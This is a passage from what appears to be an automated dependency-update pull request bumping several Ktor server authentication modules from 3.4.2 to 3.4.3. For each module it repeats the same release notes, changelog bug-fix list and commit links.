href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.2...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-auth` from 3.4.2 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-auth's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-auth's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.2...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-auth-jvm` from 3.4.2 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-auth-jvm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-auth-jvm's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.2...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-auth-jwt` from 3.4.2 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-auth-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-auth-jwt's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca 